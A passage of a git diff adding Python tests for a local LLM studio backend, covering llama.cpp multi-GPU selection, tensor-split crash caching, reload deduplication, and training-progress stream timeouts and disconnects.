+    assert gpu_indices is not None and len(gpu_indices) >= 2
+
+
+def test_select_gpus_min_gpus_capped_to_available():
+    """min_gpus larger than the GPU count is capped, not an error."""
+    gpus = [(0, 180000), (1, 180000)]
+    gi, _ = LlamaCppBackend._select_gpus(int(10 * _GB), gpus, min_gpus = 8)
+    assert gi is not None and len(gi) == 2
+
+
+def test_select_gpus_uses_multiple_gpus_when_model_does_not_fit():
+    """Sanity: selection spreads across GPUs when one card can't hold the model."""
+    gpus = [(0, 40000), (1, 40000), (2, 40000), (3, 40000)]  # 40 GB free each
+    gpu_indices, _use_fit = LlamaCppBackend._select_gpus(int(120 * _GB), gpus)
+    assert gpu_indices is not None and len(gpu_indices) >= 2
+
+
+def test_select_gpus_min_gpus_excludes_unusable_gpu():
+    """min_gpus caps to usable cards: 2 free + 1 nearly-full -> 2-GPU split, not
+    forcing the full card (OOM) or tripping --fit (#6659)."""
+    gpus = [(0, 180000), (1, 180000), (2, 500)]  # GPU 2 is nearly full
+    total = {0: 180000, 1: 180000, 2: 180000}
+    gi, _ = LlamaCppBackend._select_gpus(
+        int(39 * _GB),
+        gpus,
+        min_gpus = 3,
+        total_by_idx = total,
+        per_device_overhead_bytes = int(1 * _GB),
+    )
+    assert gi is not None
+    assert 2 not in gi, "a nearly-full GPU must not be forced in to satisfy min_gpus"
+    assert len(gi) == 2
+
+
+def test_tensor_abort_cache_invalidated_on_binary_mtime_change(tmp_path):
+    """Cache keys on (path, mtime, model), so a binary swapped in place (in-app
+    update, no restart) is re-probed instead of inheriting the old abort (#6659)."""
+    binp = tmp_path / "llama-server"
+    binp.write_text("v1")
+    p = str(binp)
+    try:
+        LlamaCppBackend._record_tensor_split_abort(p, "m")
+        assert LlamaCppBackend._tensor_split_aborts(p, "m") is True
+        # Simulate an in-place update bumping the binary's mtime.
+        st = binp.stat()
+        os.utime(p, (st.st_atime, st.st_mtime + 10))
+        assert (
+            LlamaCppBackend._tensor_split_aborts(p, "m") is False
+        ), "a binary swapped in place (new mtime) must be re-probed"
+        # A same-second replacement (sub-second mtime bump) must also re-probe:
+        # second-resolution mtime would inherit the stale abort (reviewer.py P2).
+        sec_ns = (binp.stat().st_mtime_ns // 1_000_000_000) * 1_000_000_000
+        os.utime(p, ns = (sec_ns, sec_ns))
+        LlamaCppBackend._record_tensor_split_abort(p, "m")
+        binp.write_text("v2")
+        os.utime(p, ns = (sec_ns, sec_ns + 1))
+        assert (
+            LlamaCppBackend._tensor_split_aborts(p, "m") is False
+        ), "a same-second in-place swap (ns mtime bump) must be re-probed"
+    finally:
+        for key in list(LlamaCppBackend._tensor_split_abort_keys):
+            if key and key[0] == p:
+                LlamaCppBackend._tensor_split_abort_keys.discard(key)
+
+
+def test_tensor_split_abort_raises_early_to_layer_fallback():
+    """The first-spawn abort raises to the route's layer fallback (not the text-only
+    mmproj strip), before the flash-attn-off retry, preserving the projector (#6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    raise_idx = src.find("(split-axis geometry); retrying with layer split")
+    assert raise_idx != -1, "the split-axis abort must raise to trigger a layer retry"
+    # raises before both the flash-attn-off retry and the text-only mmproj strip
+    assert raise_idx < src.find("_with_flash_attn_off")
+    assert raise_idx < src.find("_strip_mmproj_args(_last_spawn_cmd)")
+    # gated on the marker-plus-crash helper, which also drives the record just above
+    guard = src[max(0, raise_idx - 600) : raise_idx]
+    assert "_should_record_tensor_split_abort" in guard
+    rec_idx = src.find("_record_tensor_split_abort(binary, model_identifier)")
+    assert rec_idx != -1 and rec_idx < raise_idx
+
+
+def test_budget_downgrade_preserves_multi_gpu_intent():
+    """The pooled-VRAM downgrade raises _layer_min_gpus from the usable tensor GPUs
+    too, symmetric with the vision downgrade (reviewer.py asymmetric fix, #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    budget = src.find("_tp_weight_budget_mib <= _tp_required_mib")
+    assert budget != -1
+    block = src[budget : budget + 1000]
+    assert "tensor_parallel = False" in block
+    assert (
+        "_layer_min_gpus = max(_layer_min_gpus, len(tp_gpus))" in block
+    ), "the budget downgrade must preserve multi-GPU intent like the vision gate"
+
+
+def test_compute_buffer_downgrade_preserves_multi_gpu_intent():
+    """The len(tp_gpus) < 2 compute-buffer downgrade raises _layer_min_gpus from the
+    full GPU set too, so it is symmetric with the budget/geometry downgrades and
+    doesn't collapse a multi-GPU layer load to one card (reviewer.py P1 on #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    gate = src.find("tensor_parallel and len(tp_gpus) < 2")
+    assert gate != -1
+    # Bound to exactly this block: from its gate to the next (budget) downgrade.
+    nxt = src.find("_tp_weight_budget_mib <= _tp_required_mib", gate)
+    assert nxt != -1
+    block = src[gate:nxt]
+    assert "tensor_parallel = False" in block
+    assert (
+        "_layer_min_gpus = max(_layer_min_gpus, len(gpus))" in block
+    ), "the compute-buffer downgrade must preserve multi-GPU intent like the others"
+
+
+def test_tensor_split_layer_min_gpus_bump_requires_tensor_request():
+    """Every guard that bumps _layer_min_gpus off the abort cache also tests
+    tensor_parallel, so a non-tensor load on a known-bad binary doesn't grab every
+    GPU for a fitting model (#6659)."""
+    fn = _load_model_ast()
+    checked = 0
+    for node in ast.walk(fn):
+        if isinstance(node, ast.If):
+            test_src = ast.unparse(node.test)
+            if "self._tensor_split_aborts(binary, model_identifier)" not in test_src:
+                continue
+            body = "\n".join(ast.unparse(n) for n in node.body)
+            if "_layer_min_gpus" in body:
+                checked += 1
+                assert "tensor_parallel" in test_src, (
+                    "the cached _layer_min_gpus bump must require a current tensor "
+                    f"request, but fires under `{test_src}`"
+                )
+    assert checked >= 1, "expected an abort-cache guard that bumps _layer_min_gpus"
+
+
+# ── round-2 follow-up: route-fallback retry + auto-context cap + assert marker ──
+
+
+def test_layer_fallback_retry_preserves_multi_gpu_intent():
+    """load_model takes a preserve_multi_gpu_on_layer hint and raises _layer_min_gpus
+    for it, so the tensor-off fallback retry still spreads a fitting model (#6659)."""
+    sig = inspect.signature(LlamaCppBackend.load_model)
+    assert "preserve_multi_gpu_on_layer" in sig.parameters
+    assert sig.parameters["preserve_multi_gpu_on_layer"].default is False
+    fn = _load_model_ast()
+    found = any(
+        isinstance(n, ast.If)
+        and "preserve_multi_gpu_on_layer" in ast.unparse(n.test)
+        and "_layer_min_gpus" in "\n".join(ast.unparse(b) for b in n.body)
+        for n in ast.walk(fn)
+    )
+    assert found, "preserve_multi_gpu_on_layer must raise _layer_min_gpus"
+
+
+def test_auto_context_layer_loops_capped_to_usable_gpus():
+    """The auto-context loops bypass _select_gpus, so they apply its cap: a card
+    counts only if usable VRAM clears the per-device layer overhead (#6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert (
+        "range(max(1, _layer_min_gpus), len(ranked) + 1)" not in src
+    ), "auto-context loops must cap _layer_min_gpus to usable GPUs, not use it raw"
+    assert "_auto_min_gpus" in src
+    assert "range(_auto_min_gpus, len(ranked) + 1)" in src
+    # the eligibility threshold is the per-device layer overhead, not bare > 0
+    auto = src.find("_auto_min_gpus = max(")
+    assert auto != -1
+    block = src[auto : auto + 400]
+    assert "_pipeline_overhead_mib" in block, (
+        "a card must clear the per-device layer overhead to count, mirroring "
+        "_select_gpus, so a nearly-full GPU is not exposed and OOMs"
+    )
+
+
+def test_fallback_hint_uses_effective_tensor_request_not_just_toggle():
+    """Tensor intent keys off _effective_tensor_parallel (toggle + extras + env), not
+    just the toggle, so extra/env-driven tensor users keep multi-GPU (#6659)."""
+    route = Path(_BACKEND_DIR) / "routes" / "inference.py"
+    src = route.read_text()
+    idx = src.find("_tensor_intent_overall = _effective_tensor_parallel(")
+    assert idx != -1, "the GGUF load closure must compute tensor intent"
+    block = src[idx : idx + 300]
+    assert "extra_llama_args, request.tensor_parallel" in block
+    pres = src.find("preserve_multi_gpu_on_layer = bool(")
+    assert (
+        "_effective_tensor_parallel(attempt_extra_args, tensor_parallel)" in src[pres : pres + 200]
+    )
+    # not the toggle-only form this replaced
+    assert (
+        "bool(\n                        request.tensor_parallel and not tensor_parallel" not in src
+    )
+
+
+def test_carry_preserved_tensor_intent_truth_table():
+    """Behavioral check of the carry-forward decision: carried only for the SAME
+    model, preserved, and not an explicit drop. Catches a `not` inversion (ctx-only
+    collapse) and a missing same-model guard (cross-model leak) (#6659)."""
+    inference_routes = _load_inference_routes_module()
+    f = inference_routes._carry_preserved_tensor_intent
+    assert f(preserved = True, same_model = True, explicit_drop = False) is True
+    assert f(preserved = True, same_model = True, explicit_drop = True) is False  # explicit drop
+    assert f(preserved = True, same_model = False, explicit_drop = False) is False  # model switch
+    assert f(preserved = False, same_model = True, explicit_drop = False) is False  # not a fallback
+
+
+def test_preserved_fallback_carried_across_non_drop_reload():
+    """The hint carries the preserved fallback via _carry_preserved_tensor_intent,
+    gated on the same model loaded, so a ctx-only reload keeps multi-GPU but a model
+    switch / explicit drop doesn't inherit it (#6659)."""
+    route = Path(_BACKEND_DIR) / "routes" / "inference.py"
+    src = route.read_text()
+    idx = src.find("_tensor_intent_overall = _effective_tensor_parallel(")
+    assert idx != -1
+    block = src[idx : idx + 400]
+    assert "_carry_preserved_tensor_intent(" in block
+    assert "preserved = llama_backend.layer_preserves_tensor_intent" in block
+    assert "same_model = _same_model_loaded" in block
+    assert "explicit_drop = _explicit_tensor_drop" in block
+
+
+def test_same_model_guard_checks_path_and_variant():
+    """The same-model guard matches the resolved config.identifier (what load_model
+    stores, after from_identifier normalizes shorthands) -- not the raw request id --
+    and also matches the loaded quant by path (local multi-variant dir) else variant (HF
+    repo), so a reload keeps the carry-forward and a different variant doesn't inherit
+    the prior one's preserved tensor intent (#6659)."""
+    route = Path(_BACKEND_DIR) / "routes" / "inference.py"
+    src = route.read_text()
+    idx = src.find("_same_model_loaded = (")
+    assert idx != -1
+    block = src[idx : idx + 1300]
+    # Identity compares the normalized config.identifier, not the raw model_identifier.
+    head = src[idx : idx + 200]
+    assert "config.identifier" in head and "== (model_identifier" not in head
+    assert "llama_backend.gguf_path" in block and "config.gguf_file" in block
+    assert "llama_backend.hf_variant" in block and "config.gguf_variant" in block
+
+
+def test_diffusion_load_clears_preserved_tensor_flag():
+    """The diffusion early-return path (skips the command builder) clears the
+    preserved-fallback flag, so a prior tensor fallback doesn't churn it (#6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    diff = src.find("if self._is_diffusion:")
+    assert diff != -1
+    start = src.find("return self._start_diffusion_server", diff)
+    assert start != -1
+    assert "self._layer_preserves_tensor_intent = False" in src[diff:start]
+
+
+def test_is_tensor_split_assert_marker():
+    """Matches the specific #6415 split-axis assert, not any ggml assert/abort, so
+    an unrelated invariant a corrupt GGUF/projector trips isn't cached (#6659)."""
+    f = LlamaCppBackend._is_tensor_split_assert
+    # the real #6415 warmup assert (split-axis enum, in ggml-backend-meta)
+    assert (
+        f(
+            "ggml-backend-meta.cpp:541: GGML_ASSERT(src_ss[0].axis != "
+            "GGML_BACKEND_SPLIT_AXIS_0) failed"
+        )
+        is True
+    )
+    # the split-axis token alone (file path elided / reworded) still matches
+    assert f("GGML_ASSERT(x.axis != GGML_BACKEND_SPLIT_AXIS_1) failed") is True
+    # UNRELATED asserts must NOT match -- including a different invariant from the
+    # same multi-assert source file (matched on the token, not the file name).
+    assert f("ggml-backend-meta.cpp:99: GGML_ASSERT(buf != NULL) failed") is False
+    assert f("/x/ggml.c:1234: GGML_ASSERT(ne == 1) failed") is False
+    assert f("ggml_abort: something else entirely") is False
+    assert f("Segmentation fault (core dumped)") is False
+    assert f("") is False
+    assert f(None) is False
+
+
+def test_layer_preserve_hint_replayed_on_respawn():
+    """The preserve hint is in the replay snapshot (_pending_load_kwargs), so a
+    respawn keeps the downgraded model multi-GPU (Codex review on #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    pend = src.find("_pending_load_kwargs = {")
+    assert pend != -1
+    block = src[pend : src.find("}", pend) + 1]
+    assert '"preserve_multi_gpu_on_layer": preserve_multi_gpu_on_layer' in block, (
+        "the layer-preserve hint must be in the replay snapshot so _respawn_if_dead "
+        "keeps the multi-GPU placement"
+    )
+
+
+def test_should_record_tensor_split_abort_decision():
+    """Behavioral check of marker AND (signal crash OR Windows abort), so an
+    or->and typo or caching a generic crash fails here, not just the source pins."""
+    f = LlamaCppBackend._should_record_tensor_split_abort
+    marker = "ggml-backend-meta.cpp:541: GGML_ASSERT(x.axis != GGML_BACKEND_SPLIT_AXIS_0) failed"
+    # marker + a hard crash records, across every platform's abort encoding
+    assert f(-6, marker) is True  # POSIX SIGABRT
+    assert f(-11, marker) is True  # POSIX SIGSEGV
+    assert f(3, marker) is True  # Windows CRT abort() exit (not a signal)
+    assert f(0xC0000005, marker) is True  # Windows NTSTATUS access violation
+    # marker present but no hard crash -> not recorded
+    assert f(0, marker) is False  # clean exit
+    assert f(-9, marker) is False  # SIGKILL (OOM / unload), not a fault
+    assert f(None, marker) is False  # still running
+    # hard crash but not the split-axis marker -> not recorded (no over-caching)
+    assert f(3, "some other failure") is False
+    assert f(-6, "GGML_ASSERT(buf != NULL) failed") is False
+    assert f(0xC0000005, "") is False
+
+
+def test_fit_off_retry_skipped_on_split_axis_abort():
+    """The fit-independent --fit off retry is skipped on the split-axis marker, else
+    the model crashes a second time before the latch records it (reviewer.py, #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    retry = src.find('run_cmd = [*run_cmd, "--fit", "off"]')
+    assert retry != -1
+    guard = src[max(0, retry - 1000) : retry]
+    assert "_fit_retry_allowed" in guard and "_startup_crashed" in guard
+    assert (
+        "not _split_axis_crash" in guard
+    ), "the fit-off retry must be skipped when the crash is a split-axis abort"
+
+
+def test_is_abort_exit_recognizes_windows_crt_abort():
+    """exit code 3 (MSVC abort()) counts as a crash; signals / clean exits do not."""
+    f = LlamaCppBackend._is_abort_exit
+    assert f(3) is True
+    assert f(0) is False
+    assert f(-6) is False  # POSIX SIGABRT is handled by _is_signal_crash, not here
+    assert f(None) is False
+
+
+# ── tensor-off after a multi-GPU fallback forces a reload (route dedup) ─
+
+
+class _NoopProcess:
+    """Stand-in for Popen so is_loaded is True and atexit cleanup doesn't crash."""
+
+    def terminate(self):
+        pass
+
+    def wait(self, timeout = None):
+        return 0
+
+    def kill(self):
+        pass
+
+    def poll(self):
+        return 0
+
+
+def _fallback_loaded_backend(layer_preserves_tensor_intent: bool) -> LlamaCppBackend:
+    """A loaded backend in the tensor->layer fallback state (tensor off, --split-mode
+    layer stored), differing only in the preserved-multi-GPU flag."""
+    b = LlamaCppBackend()
+    b._model_identifier = "owner/repo"
+    b._requested_n_ctx = 0
+    b._cache_type_kv = None
+    b._tensor_parallel = False
+    b._layer_preserves_tensor_intent = layer_preserves_tensor_intent
+    b._extra_args = ["--split-mode", "layer"]
+    b._requested_spec_mode = "auto"
+    b._chat_template_override = None
+    b._gguf_path = None
+    return b
+
+
+def test_tensor_off_echo_preserves_multi_gpu_fallback():
+    """The Studio UI always sends tensor_parallel and echoes the /load response's
+    resolved value, so after a fallback a ctx/settings reload carries tensor_parallel=
+    false even though the user never changed it. That echo must NOT collapse the
+    preserved multi-GPU placement -- it dedupes (Codex #6659)."""
+    from models.inference import LoadRequest
+
+    inference_routes = _load_inference_routes_module()
+
+    req = LoadRequest(model_path = "owner/repo", tensor_parallel = False)
+    assert "tensor_parallel" in req.model_fields_set, "the UI always sends the field"
+
+    # Preserved fallback + bare tensor=false echo: dedupe, keep multi-GPU (no collapse).
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = True)
+        )
+        is True
+    )
+    # A genuine layer load (no preserved intent): tensor-off also dedupes, no churn.
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = False)
+        )
+        is True
+    )
+
+
+def test_explicit_split_mode_layer_extras_reloads_after_multi_gpu_fallback():
+    """Tensor intent can be dropped via extras too: an explicit --split-mode layer
+    matches the stored fallback extras but must still reload (reviewer.py P1, #6659)."""
+    from models.inference import LoadRequest
+
+    inference_routes = _load_inference_routes_module()
+
+    req = LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"])
+    assert "llama_extra_args" in req.model_fields_set
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = True)
+        )
+        is False
+    )
+
+
+def test_tensor_off_reload_requires_explicit_toggle():
+    """An Apply that doesn't touch the toggle (e.g. a context change) isn't churned
+    by the preserved-fallback reload -- the working server is kept (Codex #6659)."""
+    from models.inference import LoadRequest
+
+    inference_routes = _load_inference_routes_module()
+
+    req = LoadRequest(model_path = "owner/repo")  # tensor_parallel left unset
+    assert "tensor_parallel" not in req.model_fields_set
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = True)
+        )
+        is True
+    )
+
+
+def test_tensor_off_under_env_tensor_does_not_reload_loop(monkeypatch):
+    """With LLAMA_ARG_SPLIT_MODE=tensor set, a tensor-off request can't drop tensor
+    intent, so the env-aware guard dedupes instead of reload-looping (Codex #6659)."""
+    from models.inference import LoadRequest
+
+    inference_routes = _load_inference_routes_module()
+    monkeypatch.setenv("LLAMA_ARG_SPLIT_MODE", "tensor")
+
+    req = LoadRequest(model_path = "owner/repo", tensor_parallel = False)
+    assert "tensor_parallel" in req.model_fields_set
+    # env still forces tensor -> not a real drop -> dedupe (no reload loop).
+    assert (
+        inference_routes._request_matches_loaded_settings(
+            req, _fallback_loaded_backend(layer_preserves_tensor_intent = True)
+        )
+        is True
+    )
+
+
+def test_is_explicit_tensor_drop_truth_table():
+    """Only an explicit non-tensor --split-mode override is a drop. A bare
+    tensor_parallel field (the UI always sends it and echoes the fallback's false), an
+    empty clear, an unrelated extra (--top-k), or inherit (None) must NOT collapse a
+    preserved fallback; --split-mode tensor / tensor_parallel=true re-engage (Codex
+    #6659)."""
+    from models.inference import LoadRequest
+
+    f = _load_inference_routes_module()._is_explicit_tensor_drop
+    # A non-tensor split-mode override is the one deliberate departure -> drop.
+    assert (
+        f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "layer"])) is True
+    )
+    # tensor / retry re-engages, never a drop.
+    assert (
+        f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--split-mode", "tensor"]))
+        is False
+    )
+    # A bare tensor_parallel field is the UI echo, not a drop (would collapse on reload).
+    assert f(LoadRequest(model_path = "owner/repo", tensor_parallel = False)) is False
+    assert f(LoadRequest(model_path = "owner/repo", tensor_parallel = True)) is False
+    # Unrelated extra / empty clear / inherit all keep the preserved placement.
+    assert f(LoadRequest(model_path = "owner/repo", llama_extra_args = ["--top-k", "20"])) is False
+    assert f(LoadRequest(model_path = "owner/repo", llama_extra_args = [])) is False
+    assert f(LoadRequest(model_path = "owner/repo")) is False
+
+
+def test_explicit_tensor_drop_uses_shared_helper_in_both_readers():
+    """Both the already-loaded dedup and the load carry-forward derive the drop from
+    _is_explicit_tensor_drop, so they agree on what counts as a drop -- a reload for
+    an unrelated extra still carries the preserved intent rather than collapsing to one
+    GPU (Codex #6659)."""
+    src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text()
+    # Dedup reader (the preserved-fallback reload guard).
+    assert "layer_preserves_tensor_intent and _is_explicit_tensor_drop(request)" in src
+    # Load carry-forward reader feeds the same decision into the carry-forward.
+    assert "_explicit_tensor_drop = _is_explicit_tensor_drop(request)" in src
+
+
+def test_layer_preserves_tensor_intent_set_only_on_preserved_downgrade():
+    """load_model latches the flag from _layer_min_gpus (raised only when a tensor
+    request is downgraded but kept multi-GPU), and clears it when tensor stays on."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    on = src.find("self._tensor_parallel = True")
+    off = src.find("self._tensor_parallel = False")
+    assert 0 <= on and 0 <= off
+    assert "self._layer_preserves_tensor_intent = False" in src[on : on + 120]
+    assert "self._layer_preserves_tensor_intent = _layer_min_gpus > 1" in src[off : off + 400]
+
+
+def test_layer_min_gpus_bound_before_gpu_selection_try():
+    """_layer_min_gpus is bound before the GPU-selection try, so the --fit-on except
+    path can't UnboundLocalError when the command builder reads it (Codex #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert src.count("_layer_min_gpus = 1") == 1, "exactly one init, before the try"
+    init = src.find("_layer_min_gpus = 1")
+    try_body = src.find("gguf_size = self._get_gguf_size_bytes")
+    fit_except = src.find("GPU selection failed")
+    use_after = src.find("self._layer_preserves_tensor_intent = _layer_min_gpus > 1")
+    assert (
+        -1 < init < try_body < fit_except < use_after
+    ), "the init must precede the try body, the except, and the command-builder use"
+
+
+def test_already_in_target_state_reloads_on_tensor_off_after_fallback():
+    """The backend fast path mirrors the route dedup: a preserved fallback reloads on
+    an EXPLICIT tensor-off request, but an implicit same-settings reload (carry-forward
+    preserve_multi_gpu_on_layer=True) still dedupes (Codex #6659)."""
+
+    def _backend(layer_preserves: bool) -> LlamaCppBackend:
+        b = _fallback_loaded_backend(layer_preserves_tensor_intent = layer_preserves)
+        b._process = _NoopProcess()
+        b._healthy = True
+        return b
+
+    kwargs = dict(
+        gguf_path = None,
+        mtp_draft_path = None,
+        model_identifier = "owner/repo",
+        hf_variant = None,
+        n_ctx = 0,
+        cache_type_kv = None,
+        speculative_type = None,
+        spec_draft_n_max = None,
+        tensor_parallel = False,
+        chat_template_override = None,
+        extra_args = ["--split-mode", "layer"],
+        is_vision = False,
+    )
+    # Preserved fallback + EXPLICIT tensor drop -> reload (not already in target state).
+    assert _backend(True)._already_in_target_state(**kwargs) is False
+    # Same preserved fallback but an implicit reload that carries the intent forward
+    # (HF auto-pick / local-dir flows skip the route guard and reach here) -> dedupe.
+    assert (
+        _backend(True)._already_in_target_state(**kwargs, preserve_multi_gpu_on_layer = True) is True
+    )
+    # A genuine layer load (no preserved intent) -> dedupe, no churn.
+    assert _backend(False)._already_in_target_state(**kwargs) is True
diff --git a/studio/backend/tests/test_training_history_update.py b/studio/backend/tests/test_training_history_update.py
index cf8188f911..aa586e1298 100644
--- a/studio/backend/tests/test_training_history_update.py
+++ b/studio/backend/tests/test_training_history_update.py
@@ -90,6 +90,23 @@ def test_update_run_whitespace_clears_display_name(monkeypatch: pytest.MonkeyPat
     assert result.display_name is None
 
 
+def test_get_run_detail_includes_preview_fields(monkeypatch: pytest.MonkeyPatch):
+    # Regression: detail/update must pass the sharing flag into _preview_fields;
+    # a missing arg used to surface as a 500 TypeError after get_run succeeded.
+    monkeypatch.setattr(training_history, "get_run", lambda run_id: dict(BASE_RUN))
+    monkeypatch.setattr(training_history, "get_run_metrics", lambda run_id: {})
+    monkeypatch.setattr(training_history, "can_resume_run", lambda run: False)
+    monkeypatch.setattr(training_history, "get_preview_sharing_enabled", lambda: True)
+
+    detail = asyncio.run(
+        training_history.get_training_run_detail("run-1", current_subject = "test-user")
+    )
+
+    assert detail.run.id == "run-1"
+    # Not a previewable dir, so no signed ref - but the field is built without error.
+    assert detail.run.preview_sig is None
+
+
 def test_update_run_rejects_unknown_fields():
     with pytest.raises(ValidationError):
         TrainingRunUpdateRequest.model_validate({"unknown": "value"})
diff --git a/studio/backend/tests/test_training_progress_prep_timeout.py b/studio/backend/tests/test_training_progress_prep_timeout.py
new file mode 100644
index 0000000000..28e2ee37b9
--- /dev/null
+++ b/studio/backend/tests/test_training_progress_prep_timeout.py
@@ -0,0 +1,147 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The live progress SSE must not time out during the pre-first-step phase.
+
+A large model load / dataset tokenization can keep a run at step 0 for longer
+than the stall timeout. Treating that as a stall ends the live stream and makes a
+healthy run look frozen, so the timeout must apply only once the run is stepping.
+"""
+
+import asyncio
+import sys
+import types
+
+import pytest
+
+if "structlog" not in sys.modules:
+
+    class _DummyLogger:
+        def __getattr__(self, _name):
+            return lambda *args, **kwargs: None
+
+    sys.modules["structlog"] = types.SimpleNamespace(
+        BoundLogger = _DummyLogger,
+        get_logger = lambda *args, **kwargs: _DummyLogger(),
+    )
+
+import routes.training as rt
+
+
+class _Progress:
+    def __init__(
+        self,
+        step = 0,
+        total_steps = 1000,
+    ):
+        self.step = step
+        self.total_steps = total_steps
+        self.loss = None
+        self.learning_rate = None
+        self.epoch = None
+        self.grad_norm = None
+        self.num_tokens = None
+        self.eval_loss = None
+        self.elapsed_seconds = None
+        self.eta_seconds = None
+
+
+class _Backend:
+    def __init__(
+        self,
+        *,
+        active_polls,
+        step_history = None,
+        live_step = 0,
+    ):
+        self.current_job_id = "job-prep"
+        self.step_history = list(step_history or [])
+        self.loss_history = [1.0 for _ in self.step_history]
+        self.lr_history = [1e-4 for _ in self.step_history]
+        self.eval_enabled = False
+        self._active_calls = 0
+        self._active_polls = active_polls
+        self.trainer = types.SimpleNamespace(training_progress = _Progress(step = live_step))
+
+    def is_training_active(self):
+        self._active_calls += 1
+        return self._active_calls <= self._active_polls
+
+
+class _FakeRequest:
+    headers = {}
+
+    async def is_disconnected(self):
+        return False
+
+
+class _ReconnectRequest:
+    # Reconnect carrying the last step the client already received.
+    headers = {"last-event-id": "10"}
+
+    async def is_disconnected(self):
+        return False
+
+
+def _raw(response):
+    async def _drain():
+        chunks = []
+        async for chunk in response.body_iterator:
+            chunks.append(chunk)
+        return "".join(c.decode() if isinstance(c, bytes) else c for c in chunks)
+
+    return asyncio.run(asyncio.wait_for(_drain(), 15))
+
+
+@pytest.fixture
+def _fast_short_timeout(monkeypatch):
+    """Make the poll loop instant and the stall timeout tiny."""
+
+    async def _no_sleep(*_a, **_k):
+        return None
+
+    monkeypatch.setattr(rt.asyncio, "sleep", _no_sleep)
+    monkeypatch.setattr(rt, "_PROGRESS_STALL_TIMEOUT_POLLS", 3)
+
+
+def test_prep_phase_does_not_time_out_before_first_step(monkeypatch, _fast_short_timeout):
+    # Step 0 for many polls (far past the timeout), then the run ends. Pre-step
+    # this is preparation, not a stall: no error event may be emitted.
+    backend = _Backend(active_polls = 20, step_history = [], live_step = 0)
+    monkeypatch.setattr(rt, "get_training_backend", lambda: backend)
+
+    raw = _raw(asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester")))
+
+    assert (
+        backend._active_calls > rt._PROGRESS_STALL_TIMEOUT_POLLS + 1
+    ), "the loop must have run past the stall threshold for this test to be meaningful"
+    assert "event: heartbeat" in raw, "prep heartbeats should still flow"
+    assert "event: error" not in raw, "a still-preparing run must not be timed out as a stall"
+
+
+def test_stall_after_first_step_still_times_out(monkeypatch, _fast_short_timeout):
+    # Emits a live step (so seen_live_step becomes True) then stays put: a genuine
+    # post-step stall that must still trigger the timeout error.
+    backend = _Backend(active_polls = 100, step_history = [1, 2], live_step = 5)
+    monkeypatch.setattr(rt, "get_training_backend", lambda: backend)
+
+    raw = _raw(asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester")))
+
+    assert "event: error" in raw, "a real post-step stall should still time out"
+
+
+def test_reconnect_to_stepped_run_still_times_out(monkeypatch, _fast_short_timeout):
+    # Client reconnects at step 10 (Last-Event-ID) to a run that already stepped
+    # then hangs (only heartbeats): the post-step stall timeout must still fire.
+    # Without seeding seen_live_step from the resume point it resets to False and
+    # never times out for this client.
+    backend = _Backend(active_polls = 100, step_history = [10], live_step = 10)
+    monkeypatch.setattr(rt, "get_training_backend", lambda: backend)
+
+    raw = _raw(
+        asyncio.run(rt.stream_training_progress(_ReconnectRequest(), current_subject = "tester"))
+    )
+
+    assert (
+        "event: error" in raw
+    ), "a reconnect to an already-stepped run that then stalls must still time out"
diff --git a/studio/backend/tests/test_training_progress_stream_nan.py b/studio/backend/tests/test_training_progress_stream_nan.py
index 899527a04d..5cd84bbca5 100644
--- a/studio/backend/tests/test_training_progress_stream_nan.py
+++ b/studio/backend/tests/test_training_progress_stream_nan.py
@@ -62,6 +62,16 @@ class _FakeBackend:
 class _FakeRequest:
     headers = {}
 
+    async def is_disconnected(self):
+        return False
+
+
+class _DisconnectedRequest:
+    headers = {}
+
+    async def is_disconnected(self):
+        return True
+
 
 def _collect_events(response, timeout = 15):
     async def _drain():
@@ -116,6 +126,20 @@ def test_inactive_stream_completes_with_live_step_and_null_loss(monkeypatch):
     assert final["loss"] is None
 
 
+def test_disconnect_while_active_does_not_emit_complete(monkeypatch):
+    # Client drops mid-run: the stream must end without a terminal "complete"
+    # frame, which a buffered/proxy consumer could otherwise read as a finished
+    # run while training is still active.
+    backend = _FakeBackend(active_polls = 5)
+    monkeypatch.setattr(rt, "get_training_backend", lambda: backend)
+
+    response = asyncio.run(
+        rt.stream_training_progress(_DisconnectedRequest(), current_subject = "tester")
+    )
+    raw = _collect_events(response)
+    assert "event: complete" not in raw
+
+
 def test_stream_uses_finite_history_when_progress_in_sync(monkeypatch):
     backend = _FakeBackend(active_polls = 2)
     # Live progress agrees with the history tail: normal finite behavior.
diff --git a/studio/backend/tests/test_training_pump_resilience.py b/studio/backend/tests/test_training_pump_resilience.py
new file mode 100644
index 0000000000..d75b205f35
--- /dev/null
+++ b/studio/backend/tests/test_training_pump_resilience.py
@@ -0,0 +1,494 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Parent-side training event-pump resilience.
+
+The pump is the only writer of the progress state /progress, /status, /metrics
+and DB history read. If it died while the worker ran, the run would continue while
+the UI froze -- the "training runs but no progress shows" symptom. These tests pin
+two guards: a bad event/queue error can't kill the pump, and a dead pump is
+detected and restarted (even after worker exit) so terminal events still finalize.
